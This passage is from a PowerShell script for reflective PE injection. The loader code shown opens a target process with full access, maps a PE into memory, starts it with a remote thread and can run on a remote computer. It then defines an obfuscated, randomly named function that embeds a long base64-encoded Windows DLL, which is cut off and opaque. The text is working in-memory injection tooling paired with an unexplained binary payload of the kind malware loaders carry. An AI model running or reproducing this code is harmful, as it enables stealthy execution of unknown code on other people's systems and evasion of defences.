				$ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)

				if ($ImportDllHandle -eq $null)
				{
					Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
				}

				$Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
				if ($Success -eq $false)
				{
					Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
				}

				$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
			}
		}


		Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
		$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
		$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
		$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)

		$DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null


		$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
		if ($Success -eq $false)
		{
			Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
		}
	}


	Function Main
	{
		$Win32Functions = Get-Win32Functions
		$Win32Types = Get-Win32Types
		$Win32Constants =  Get-Win32Constants

		$RemoteProcHandle = [IntPtr]::Zero


		if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
		{
			Throw "Can't supply a ProcId and ProcName, choose one or the other"
		}
		elseif ($ProcName -ne $null -and $ProcName -ne "")
		{
			$Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
			if ($Processes.Count -eq 0)
			{
				Throw "Can't find process $ProcName"
			}
			elseif ($Processes.Count -gt 1)
			{
				$ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
				Write-Output $ProcInfo
				Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
			}
			else
			{
				$ProcId = $Processes[0].ID
			}
		}









		if (($ProcId -ne $null) -and ($ProcId -ne 0))
		{
			$RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
			if ($RemoteProcHandle -eq [IntPtr]::Zero)
			{
				Throw "Couldn't obtain the handle for process ID: $ProcId"
			}

			Write-Verbose "Got the handle for the remote process to inject in to"
		}



		Write-Verbose "Calling Invoke-MemoryLoadLibrary"
		$PEHandle = [IntPtr]::Zero
		if ($RemoteProcHandle -eq [IntPtr]::Zero)
		{
			$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
		}
		else
		{
			$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
		}
		if ($PELoadedInfo -eq [IntPtr]::Zero)
		{
			Throw "Unable to load PE, handle returned is NULL"
		}

		$PEHandle = $PELoadedInfo[0]
		$RemotePEHandle = $PELoadedInfo[1]



		$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
		if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
		{



	        switch ($FuncReturnType)
	        {
	            'WString' {
	                Write-Verbose "Calling function with WString return type"
				    [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
				    if ($WStringFuncAddr -eq [IntPtr]::Zero)
				    {
					    Throw "Couldn't find function address."
				    }
				    $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
				    $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
				    [IntPtr]$OutputPtr = $WStringFunc.Invoke()
				    $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
				    Write-Output $Output
	            }

	            'String' {
	                Write-Verbose "Calling function with String return type"
				    [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
				    if ($StringFuncAddr -eq [IntPtr]::Zero)
				    {
					    Throw "Couldn't find function address."
				    }
				    $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
				    $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
				    [IntPtr]$OutputPtr = $StringFunc.Invoke()
				    $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
				    Write-Output $Output
	            }

	            'Void' {
	                Write-Verbose "Calling function with Void return type"
				    [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
				    if ($VoidFuncAddr -eq [IntPtr]::Zero)
				    {

				    }
					else
					{
				    $VoidFuncDelegate = Get-DelegateType @() ([Void])
				    $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
				    $VoidFunc.Invoke() | Out-Null
					}
	            }
	        }



		}

		elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
		{
			$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
			if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
			{

			}
			else{
			$VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
			$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle


			$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
			}
		}



		if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
		{

		}
		else
		{






		}

		Write-Verbose "Done!"
	}

	Main
}


Function Main
{
	if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
	{
		$DebugPreference  = "Continue"
	}

	Write-Verbose "PowerShell ProcessID: $PID"


	$e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''

    if ($e_magic -ne 'MZ')
    {
        throw 'PE is not a valid PE file.'
    }

	if (-not $DoNotZeroMZ) {


		$PEBytes[0] = 0
		$PEBytes[1] = 0
	}


	if ($ExeArgs -ne $null -and $ExeArgs -ne '')
	{
		$ExeArgs = "ReflectiveExe $ExeArgs"
	}
	else
	{
		$ExeArgs = "ReflectiveExe"
	}

	if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
	{
		Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
	}
	else
	{
		Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
	}
}

Main
}

function Invoke-RSNKBJUOCAYDM
{

$PEBytes32 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADlCSlcoWhHD6FoRw+haEcPmjZCDqBoRw+aNkQOomhHD5o2Qw6gaEcPfJeJD6BoRw98l4wPpGhHD6FoRg+BaEcPfJeXD6BoRw82NkMOu2hHDzY2RQ6gaEcPUmljaKFoRw8AAAAAAAAAAAAAAAAAAAAAUEUAAEwBBQDqDrhfAAAAAAAAAADgAAIhCwEOAAC4AAAAIgEAAAAAAENDAAAAEAAAANAAAAAAABAAEAAAAAIAAAUAAQAAAAAABQABAAAAAAAAEAIAAAQAAAAAAAACAEAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADg+wAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgDgBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAAADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAADS3AAAAEAAAALgAAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAgLQAAANAAAAAuAAAAvAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAuCIAAAAAAQAAHgAAAOoAAAAAAAAAAAAAAAAAAEAAAMAuZ3g4cwAAAADIAAAAMAEAAMgAAAAIAQAAAAAAAAAAAAAAAABAAADALnJlbG9jAADgBgAAAAACAAAIAAAA0AEAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7P91DOhNUQAAUP91COgxVgAAg8QMXcNVi+z/dQzoT00AAFmFwHRAVldQ6E1RAABqBIv46Fo4AACL8FlZhfZ0JYtVCINmBACJPosKC0oEdAiLQgyJcATrA4lyCIMCAYlyDINSBABfXl3DVYvsi0UIi0AIo7QiARAzwEBdw1WL7ItFCItACKOUIgEQM8BAXcNVi+yLRQj/cAzo1EwAAFkzyaP4IQEQhcAPlcGLwV3DVYvsi0UIi0AIo3giARAzwEBdw1WL7ItFCFb/cAzooUwAAIvwWYX2dCeDZQgAjUUIUFbo3kwAAFajBCIBEOjvNwAAM8CDxAw5BQQiARAPlcBeXcNVi+yLRQiLQAijkCIBEDPAQF3DVYvsi0UIVv9wDOhOTAAAi/BZhfZ0J4NlCACNRQhQVuiLTAAAVqP8IQEQ6Jw3AAAzwIPEDDkF/CEBEA+VwF5dw1WL7ItFCP9wDOgPTAAAWTPJowAiARCFwA+VwYvBXcNVi+yLRQj/cAzo8EsAAFkzyaPwIQEQhcAPlcGLwV3DVYvsi0UIVv9wDOjQSwAAi/BZhfZ0RFNXjUUIM/9QVol9COgKTAAAVovY6B43AACDxAyF23UEM8DrHoN9CCB1D2oIWYvzvwAhARDzpTP/R1Po+DYAAFmLx19bXl3DVYvsaBkQABAzwGhYIgEQ/3UIo2QiARCjYCIBEKNYIgEQo1wiARDoc1UAAIPEDF3DVYvsi0UIi0AIo4AiARAzwEBdw1WL7GgZEAAQM8BoaCIBEP91CKN0IgEQo3AiARCjaCIBEKNsIgEQ6DBVAACDxAxdw1WL7ItFCItACKN8IgEQM8BAXcNVi+yLRQj/cAzo7koAAFkzyaP0IQEQhcAPlcGLwV3DVYvsVot1CFe/TCIBEP92CGoAV+g3UwAAg8QMhcB0D2gAEAAQV1bozlQAAIPEDF9eXcNVi+xWi3UIV79AIgEQ/3YIagBX6AVTAACDxAyFwHQPaAAQABBXVuicVAAAg8QMX15dw1WL7FaLdQhXvzQiARD/dghqAFfo01IAAIPEDIXAdA9oABAAEFdW6GpUAACDxAxfXl3DVYvsg+wwVo1F/L5wAgEQUGoDaghokQkAAFbofksAAI1F+MZF/wBQagNqBWjdCQAAVuhnSwAAjUX0xkX7AFBqA2oHaFIBAABW6FBLAACNRfzGRfcAiUXQjUX4agJZiUXcjUX0iUXojUXQagNQ/3UIiU3Ux0XY+hIAEIlN4MdF5MgSABCJTezHRfCWEgAQ6AxUAACDxEhei+Vdw1WL7FFTVo1F/DP2UOhVOAAAi9hZhdt0MVcz/0c5ffx+Hv91CP80u+g7TgAAi/D33lkb9lmDxgF1Bkc7ffx84lPoEzgAAFmLxl9eW4vlXcNVi+yD7FBWM/bHRfQ0IgEQV8dF+EAiARCL/sdF/EwiARD/dL306LtQAABHWYP/A3LwaFgiARDoAgsAAMcEJGgiARDo9goAAKHwIQEQiUWwofQhARCJRbSh+CEBEIlFuKH8IQEQiUW8oQAiARCJRcChBCIBEIlFxKEIIgEQiUXIoQwiARCJRcyhECIBEIlF0KEUIgEQiUXUoRgiARCJRdihHCIBEIlF3KEgIgEQiUXgoSQiARCJReShKCIBEIlF6KEsIgEQiUXsoTAiARBZiUXwi0S1sIXAdAdQ6O4zAABZRoP+EXLrX16L5V3DVYvsgeyoAQAAU+gdBwAAi9gzwIXbD4QMBwAAIYWM/v//V429kP7//6tTq6urq8eFlP7//5RIABDHhZj+///hSAAQ6N1NAABQjYWM/v//U1Do4KIAAIv4g8QQhf91DlPofTMAAFkzwOm6BgAAVo1F/FBqAmoMaOEBAABocAIBEOhFSQAAjUXoxkX+AFBqA15WagdoWAkAAGhwAgEQ6ChJAACNReTGResAUFZqD2iVAwAAaHACARDoDkkAAI1F4MZF5wBQVmoQaCIKAABocAIBEOj0SAAAg8RQxkXjAI1F3FBWag9qPGhwAgEQ6NpIAACNRdjGRd8AUFZqDGjTBgAAaHACARDowEgAAI1F1MZF2wBQVmoPaHYIAABocAIBEOimSAAAjUXQxkXXAFBWagRozAkAAGhwAgEQ6IxIAACDxFDGRdMAjUXMUFZqEGixBgAAaHACARDob0gAAI1FuMZFzwBQagVqCWjRAAAAaHACARDoVEgAAI1FsMZFvQBQagVqD2iTBwAAaHACARDoOUgAAI1FyMZFtQBQVmoPaDoKAABocAIBEOgfSAAAg8RQxkXLAI1F+FBqAmoGXlZoMQMAAGhwAgEQ6P9HAACNRajGRfoAUFZqEGiLAQAAaHACARDo5UcAAI1FxMZFrgBQagNqBGj0DAAAaHACARDoykcAAI1FoMZFxwBQVmoOaAYFAABocAIBEOiwRwAAjUX8xkWmAImF1P7//4PEUI1F6MeF3P7//5QRABCJheD+//+NReSJhez+//+NReCJhfj+//+NRdxqBVmJhQT///+NRdiJjdj+//+JjeT+///Hhej+//91EQAQiY3w/v//x4X0/v//dxIAEIm1/P7//8eFAP///34QABDHhQj///8BAAAAx4UM////LBMAEImFEP///2oCjUXUiY0s////iYUc////jUXQiYUo////jUXMiYU0////jUW4iYVA////jUWwiYVM////jUXIiYVY////jUX4iYVk////jUWoWomFcP///41FxGoDiYV8////jUWgiY1E////iY1Q////iY1c////WYlFiI2F1P7//2oQUFeJlRT////HhRj////xEQAQiZUg////x4Uk////NBIAEMeFMP///5EQABCJtTj////HhTz///8DEQAQx4VI////FhEAEMeFVP///1YRABDHhWD////DEAAQiY1o////x4Vs////sBAAEImNdP///8eFeP///2QSABCJdYDHRYRrEAAQiU2Mx0WQIRIAEOgNTwAAi/CNhYz+//9XUOizqwAAU+gPMAAAg8QYhfYPhEYDAADooQkAAKMUIgEQu3ACARCNRexQaghqD19XaPYBAABT6MhFAAAzwGaJRfSNRZRQaghXahpT6LNFAAAzwGaJRZyNhcj+//9QagpqDmjsBgAAU+iXRQAAM8BQaiBoACEBEGaJhdL+///o3kQAAIPESKMMIgEQ6Lk2AACjECIBEIXAdQ+NRexQ6IJJAABZoxAiARDoDAMAAKMIIgEQ6M83AACjGCIBEIXAdQ+NRexQ6FtJAABZoxgiARDoGDMAAKMcIgEQhcB1D41F7FDoPkkAAFmjHCIBEOhnNAAAoyAiARCFwHUPjUXsUOghSQAAWaMgIgEQ6GY1AACjJCIBEIXAdQ+NRexQ6ARJAABZoyQiARDoOTgAAIXAjZXI/v//jU2UD0TKUejlSAAAWaMoIgEQ6MY2AACj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